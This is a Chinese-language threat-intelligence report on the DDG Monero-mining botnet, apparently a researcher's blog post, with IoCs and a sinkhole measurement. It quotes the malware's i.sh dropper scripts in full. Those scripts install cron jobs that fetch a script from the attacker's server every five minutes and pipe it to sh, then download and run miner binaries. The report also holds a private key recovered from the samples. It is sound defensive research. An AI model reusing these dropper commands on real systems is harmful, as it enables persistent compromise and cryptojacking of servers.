DDG.Mining.Botnet：一个瞄准数据库服务器的挖矿僵尸网络
<p>从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 <strong>DDG 挖矿僵尸网络</strong> （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。</p><p>DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 <strong>3,395枚门罗币</strong>，按当前价格折合<strong>人民币 ￥5,821,657</strong> 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 <a href="__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/">MyKings</a> 僵尸网络。</p><p>DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。</p><h4 id="ddg-mining-botnet-"><strong>DDG Mining Botnet 的挖矿收益</strong></h4><p>DDG 在挖矿时使用如下矿池地址：</p><ul><li><a href="https://monero.crypto-pool.fr/">https://monero.crypto-pool.fr/</a></li></ul><p>其使用的钱包地址有三个，如下：</p><ul><li><strong>Wallet #1</strong> 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg</li><li><strong>Wallet #2</strong> 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1</li><li><strong>Wallet #3</strong> 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM</li></ul><p>其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 2017.02～2017-03；随后是 Wallet #1，持续了2017一整年； Wallet #2 是最近出现的，我们首次观察到的时间是 2018-01-03。</p><p>全部三个钱包的收入如下表所示，共计收入 3395 或者 5760 的门罗币，这些代币今天价值人民币 <strong>580万</strong> 或者 <strong>980万</strong>。注意：在第二个钱包付费记录中，"Total Paid"与逐笔交易累积得到的 "Amount Summary" 并不一致，我们无从确认哪个数字更准确，因此把两个数字都记录了下来。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png" class="kg-image" alt loading="lazy"></figure><h4 id="ddg-mining-botnet--1"><strong>DDG Mining Botnet 的攻击阶段和结构划分</strong></h4><p>通过分析样本及其行为，我们能够描绘 DDG Mining Botnet 的攻击过程如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/atk_process.png" class="kg-image" alt loading="lazy"></figure><p>上图中，DDG Mining Botnet 的攻击过程可以分为几个阶段：</p><ul><li><strong>扫描阶段</strong>：攻击者（ ss2480.2 ）利用 OrientDB 数据库的已知 RCE 漏洞，投入攻击载荷；</li><li><strong>第一阶段</strong>：攻击者修改本地 Crontab 定时任务，下载执行主要服务器上的 i.sh ( hxxp://218.248.40.228:8443/i.sh) ，并保持每 5 分钟同步。此 i.sh 会继续从同一服务器上下载运行 ddg 样本</li><li><strong>第二阶段</strong>：ddg 会依次连接内置 <strong>hub_iplist.txt</strong> 文件里的 hub_ip，然后从可以成功连接的 hub_ip 上下载对应的 Miner 程序 wnTKYg（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。这个程序的命名，恰好是其钱包地址的尾部。</li><li><strong>挖矿阶段</strong>：Miner 程序开始与矿池通信，利用失陷主机的计算资源，为攻击者的钱包开始挖矿。</li></ul><p>上述结构中，除了僵尸网络中常见的 C2 和 bot 以外，还有一个很有意思的 <strong>HUB</strong>。攻击者使用 HUB 上的多个IP或者域名来提供挖矿程序的下载。我们观察到 DDG 运营者会不时更新这些 HUB 的IP和域名，来源大部分是失陷主机。全部的 HUB 列表见文末。</p><p>关于这个 <strong>HUB</strong> 另一个有意思的地方，是我们注意到 v2011 版本中三个域名中的两个在当时是未注册的，如下。这两个域名被我们注册并 Sinkhole，后来我们意识到，我们可以通过这两个 HUB Sinkhole 上的到的数据来精确度量整个 DDG 僵尸挖矿网络。</p><ul><li>defaultnotepad567[.]com</li><li>unains1748[.]com 未注册</li><li>5dba35bsmrd[.]com 未注册</li></ul><p>下面我们分别介绍 DDG 僵尸网络的 C2， HUB， 和 Bot。其中 Bot 部分的数据，会使用来自Sinkhole 的数据。</p><h4 id="ddg-c2"><strong>DDG 僵尸网络的 C2</strong></h4><p>DDG 僵尸网络使用如下 C2 保持对设备的长期控制：</p><ul><li>202.181.169.98:8443/i.sh</li><li>218.248.40.228:8443/i.sh</li></ul><p>其中后者来自印度，AS9829，一直在使用，两年来没有变过；前者来自香港，AS7540，仅在早期短暂使用。</p><h4 id="ddg-hub-hub-sinkhole"><strong>DDG 僵尸网络的 HUB，以及我们的 HUB Sinkhole</strong></h4><p>DDG 僵尸网络使用 <strong>HUB_IP:8443\wnTKYg</strong> 提供挖矿程序下载。我们监控到的两个版本的 HUB 详细列表见文末 IoC 部分，其国家分布如下表所示。可见大部分受害者位于中国。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/02/hub_asn.png" class="kg-image" alt loading="lazy"></figure><p>如前所述，我们在监控其 v2011 版本的时候，发现其中两个域名没有注册，unains1748[.]com 和 5dba35bsmrd[.]com 。我们注册了这两个域名，合并到我们的 Sinkhole 池中，并几乎立刻看到有 IP 开始连接这两个域名，后来我们确认来连接的这些 IP 均是被 DDG 感染的主机。</p><p>这样至少我们可以利用 HUB Sinkhole 来度量 DDG 的规模。那么，我们的 Sinkhole 能看到 DDG 僵尸网络的多大部分呢，是盲人摸象看到一部分？还是全部？</p><p>我们仔细检查了 DDG 的运行机制，并且确认无论被感染的 bot 最终从 HUB 上的哪个部分下载挖矿程序，这些 bot 都会检查 HUB 上的全部 IP 和域名的连通性。这意味着，我们可以 <strong>看到 DDG 全部的被感染设备</strong>，并进一步利用这些数据对 DDG 僵尸网络做精确的度量。</p><p>可惜的是，我们注册 Sinkhole 的行动被 DDG 运营者发现了，他们随后发布了 DDG 的更新版本，更新了全部的 HUB IP列表，将我们的 Sinkhole 从僵尸网络内部踢了出来。</p><p>另外一方面，从 bot 的代码逻辑来看，创造合适的条件，会使得被感染的 bot 尝试从我们的 sinkhole 下载并运行挖矿程序....嗯，这个话题我们就讨论到这里，白帽子一定要带头做遵纪守法的好公民。</p><h4 id="ddg-bot"><strong>DDG 僵尸网络的 Bot</strong></h4><p>我们可以使用 HUB Sinkhole 的数据来精确度量 DDG 僵尸网络的感染规模。为避免滥用，全部受害者 IP 列表不会公开。</p><p>我们共记录了4391 个受害者IP地址，来自各个国家，最主要的受害者集中在中国(73%)和美国(11%)：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png" class="kg-image" alt loading="lazy"></figure><p>从网络自治域分布来看，国内各主要云计算服务商均有出现，国外若干互联网巨头公司也有少量中招。总体来看，因为 DDG 投入时是利用数据库服务器的错误配置或者漏洞利用，云服务厂商既往确实不容易防范。建议后续云服务厂商考虑加强这方面的防御措施。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png" class="kg-image" alt loading="lazy"></figure><p>受害者一段时间内对上述 2 个域名的 DNS 请求趋势如下。尾部曲线快速下降，对应僵尸网络运营者更新版本的时段。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png" class="kg-image" alt loading="lazy"></figure><h4 id="-dnsmon-"><strong>利用 DNSMon 感知这三个域名的异常访问</strong></h4><p>我们的 DNSMon 也感知到了这三个域名的异常，下面两张图分别展示这三个域名流量访问曲线高度拟合，并且在访问时序上有强烈的相关性：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/3_related_domain.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/2_related_domain.png" class="kg-image" alt loading="lazy"></figure><h3 id="ddg-mining-botnet--2"><strong>DDG Mining Botnet 攻击过程详细剖析</strong></h3><h6 id="-">扫描</h6><p>DDG Mining Botnet 的扫描和入侵阶段由样本 ss2480.2 完成。ss2408.2 首先会根据一定策略生成 Target IP 并扫描 Target IP 的 2480 端口，最后会利用 OrientDB 的 RCE 漏洞 <a href="https://blogs.securiteam.com/index.php/archives/3318">CVE-2017-11467</a> 实施入侵。</p><p>ss2480.2 会先扫描内网网段，然后扫描公网网段。生成的内网网段 Target IP 范围如下：</p><ul><li>10.Y.x.x/16 (Y 为当前内网 IP B 段的值)</li><li>172.16.x.x/16</li><li>192.168.x.x/16</li></ul><p>样本中生成内网 Target IP 的部分代码如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_lan.png" class="kg-image" alt loading="lazy"></figure><p>结束对内网的扫描之后，ss2480.2 会访问 hxxp://v4.ident.me 获取当前主机的公网 IP 地址 <strong>WAN_IP</strong> ，然后在 <code>WAN_IP/8</code> 范围内生成公网 Target IP 发起扫描。样本中生成公网 Target IP 时，会过滤掉保留地址段：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/scantarget_wan.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/orientdb_exp1.png" class="kg-image" alt loading="lazy"></figure><p>样本利用漏洞最后执行的 Payload 如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png" class="kg-image" alt loading="lazy"></figure><h6 id="--1">第一阶段</h6><p>DDG 在 C2 （218.248.40.228 India/IN AS9829）上提供了云端配置文件： hxxp://218.248.40.228:8443/i.sh</p><p>该 i.sh 配置文件有多次变化，但是内容大同小异。下面是一个早期版本，其功能主要是：</p><ul><li>将本地 Crontab 内容与远程服务器上的 i.sh 保持同步</li><li>从远程服务器下载 ddg 样本到本地并执行</li><li>检查本地的 ddg 的历史版本进程，并杀掉</li></ul><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" &gt; /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh" &gt; /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2011" ]; then  
    curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011
fi  
chmod +x /tmp/ddg.2011 &amp;&amp; /tmp/ddg.2011


#if [ ! -f "/tmp/ss2480.2" ]; then
    #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2
#fi
#chmod +x /tmp/ss2480.2 &amp;&amp; /tmp/ss2480.2

ps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill  
#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011
</code></pre><p>由 i.sh 脚本内容可知，攻击者只需更新其中的样本下载地址，便可以灵活地向失陷主机投放任意恶意软件。根据我们的监控，该云端配置文件确实会不定时更新，用以投放新版木马文件，或者投放集成新的攻击方式的恶意软件。其投递的恶意软件包括：</p><ul><li><strong>DDG 样本</strong>：即 ddg.$(uname -m) 系列样本，这是长期投递的攻击载荷，我们监测到 v2011、v2020 和 v2021 共 3 个大版本</li><li><strong>ss22522</strong> 系列样本：短时间内投递过，针对Struts2 漏洞 S2-052</li><li><strong>ss2480</strong> 系列：短时间内投递过，是针对 OrientDB 漏洞的攻击样本，正是这个样本在短时间内的大规模扫描暴露了自己</li></ul><p>另外，早期版本中 kill 命令前面没有 xargs，进程并不会真正被杀死，在后期版本上这个 xargs 被加了进去，修复了这个问题。</p><p>2018.1.3 日，攻击者上线了最新的 i.sh(v2021.2)，新增了另外一个挖矿木马 <strong>imWBR1</strong>，正是该木马中内置了前文列出的第二个 XMR 钱包地址 :</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" &gt; /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" &gt;&gt; /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" &gt; /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" &gt;&gt; /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.2021" ]; then  
    curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021
fi

if [ ! -f "/tmp/ddg.2021" ]; then  
    wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021
fi

chmod +x /tmp/ddg.2021 &amp;&amp; /tmp/ddg.2021


if [ ! -f "/tmp/imWBR1" ]; then  
    curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed
fi

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
</code></pre><h6 id="--2">第二阶段</h6><p>ddg 样本中内置了一个 <strong>hub_iplist.txt</strong> 文件，其中包含了上百个 <code>hub_ip:8443</code> 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。</p><p>在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 <code>http://&lt;hub_ip&gt;:8443/wnTKYg</code> 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 <strong>AES-NI</strong>，还会下载 <strong>wnTKYg.noaes</strong>）。ddg 尝试连接 hub_ip 的过程抓包如下： </p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/hub_conn.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/smux_defaultconf.png" class="kg-image" alt loading="lazy"></figure><p>所以在 ddg 从 hub_ip 下载 Miner 并启动后的 <a href="https://github.com/xtaci/smux/blob/ebec7ef2574b42a7088cd7751176483e0a27d458/session.go#L284">KeepAlive</a> 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/hub_keepalive.png" class="kg-image" alt loading="lazy"></figure><h3 id="-hub_iplist-txt"><strong>样本中内置的 hub_iplist.txt</strong></h3><p>i.sh 文件中的 ddg 样本下载 URL 是 <code>hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)</code>。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。</p><p>2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 <code>hxxp://218.248.40.228:8443/2020/ddg.$(uname -m)</code> 。我们排查后发现是 ddg 内置的<br>hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。</p><h3 id="ddg-mining-botnet-redis-ssh-"><strong>DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务</strong></h3><p>以上分析中，DDG 的攻击目标集中在 OrientDB 上。</p><p>事实上，ddg 木马中的 <code>ddg.$(uname -m)</code> 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&amp;暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/01/auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>样本中还有内置的 3 个 x509 证书 / 密钥文件如下：</p><ul><li>slave.pem</li><li>ca.pem</li><li>slave.key</li></ul><p>详细内容见文末 IoC 部分。</p><p>回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。</p><p>按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png" class="kg-image" alt loading="lazy"></figure><h3 id="--3"><strong>近况</strong></h3><p>北京时间 2018.1.25 日 21 点左右，<code>hxxp://218.248.40.228:8443/2011/ddg.x86_64</code> 的样本更新，MD5 为 <strong>cbc4ba55c5ac0a12150f70585af396dc</strong>，是一个 Mirai 家族的样本。</p><p>Mirai C2 为 <code>linuxuclib.com:8080</code> 。</p><p>另外一个硬编码明文 C2 <code>jbeupq84v7.2y.net</code> 目前在在DNS系统中没有配置解析IP地址。</p><h3 id="ioc"><strong>IoC</strong></h3><p>C2:</p><pre><code>202.181.169.98:8443  
218.248.40.228:8443  
linuxuclib.com:8080  
jbeupq84v7.2y.net  
</code></pre><p>样本 MD5:</p><pre><code>b1201bf62f3ca42c87515778f70fd789    ddg.i686   --&gt; v2011  
7705b32ac794839852844bb99d494797    ddg.x86_64 --&gt; v2011  
1970269321e3d30d6b130af390f2ea5c    ddg.i686   --&gt; v2020  
5751440a2b3ce1481cf1464c8ac37cbe    ddg.x86_64 --&gt; v2020  
f52f771c5b40a60ce344d39298866203    ddg.i686   --&gt; v2021  
3ea75a85bab6493db39b1f65940cc438    ddg.x86_64 --&gt; v2021  
b0c6cefa1a339437c75c6b09cefeb2e8    ss2480.1  
8c31b6379c1c37cf747fa19b63dd84a1    ss2480.2  
4fc28b8727da0bcd083a7ac3f70933fa    ss22522.2  
d3b1700a413924743caab1460129396b    wnTKYg  
8eaf1f18c006e6ecacfb1adb0ef7faee    wnTKYg.noaes  
9ebf7fc39efe7c553989d54965ebb468    imWBR1  
</code></pre><p>样本下载链接：</p><pre><code>hxxp://218.248.40.228:8443/2011/ddg.i686  
hxxp://218.248.40.228:8443/2011/ddg.x86_64  
hxxp://218.248.40.228:8443/2020/ddg.i686  
hxxp://218.248.40.228:8443/2020/ddg.x86_64  
hxxp://218.248.40.228:8443/2021/ddg.i686  
hxxp://218.248.40.228:8443/2021/ddg.x86_64  
hxxp://218.248.40.228:8443/i.sh  
hxxp://218.248.40.228:8443/ss22522.2  
hxxp://218.248.40.228:8443/ss2480.1  
hxxp://218.248.40.228:8443/ss2480.2  
hxxp://218.248.40.228:8443/wnTKYg  
hxxp://202.181.169.98:8443/2011/ddg.i686  
hxxp://202.181.169.98:8443/2011/ddg.x86_64  
hxxp://202.181.169.98:8443/i.sh  
hxxp://202.181.169.98:8443/ss22522.2  
hxxp://202.181.169.98:8443/ss2480.1  
hxxp://202.181.169.98:8443/ss2480.2  
hxxp://202.181.169.98:8443/wnTKYg  
hxxp://218.248.40.228:8443/imWBR1  
</code></pre><p>ip_hublist(v2011): <a href="__GHOST_URL__/file/ip_hublist__2011.txt">ip_hublist__2011.txt</a></p><p>ip_hublist(v2020~v2021): <a href="__GHOST_URL__/file/ip_hublist__2020.txt">ip_hublist__2020.txt</a></p><p>三个 x509 证书/密钥文件：</p><p>slave.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3  
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV  
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w  
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD  
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE  
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy  
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE  
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR  
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC  
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz  
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX  
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp  
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS  
uDpcOCRjJg==  
-----END CERTIFICATE-----
</code></pre><p>ca.pem</p><pre><code>-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV  
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER  
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB  
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK  
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX  
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI  
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD  
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx  
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe  
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV  
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH  
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg  
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6  
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs  
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF  
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP  
-----END CERTIFICATE-----
</code></pre><p>slave.key</p><pre><code>-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc  
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z  
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm  
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj  
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF  
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv  
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY  
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV  
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN  
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH  
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh  
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK  
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV  
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma  
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv  
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec  
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k  
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE  
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN  
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8  
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf  
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek  
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G  
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk  
-----END RSA PRIVATE KEY-----</code></pre>
从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 DDG 挖矿僵尸网络 （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。

DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 3,395枚门罗币，按当前价格折合人民币 ￥5,821,657 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 MyKings 僵尸网络。

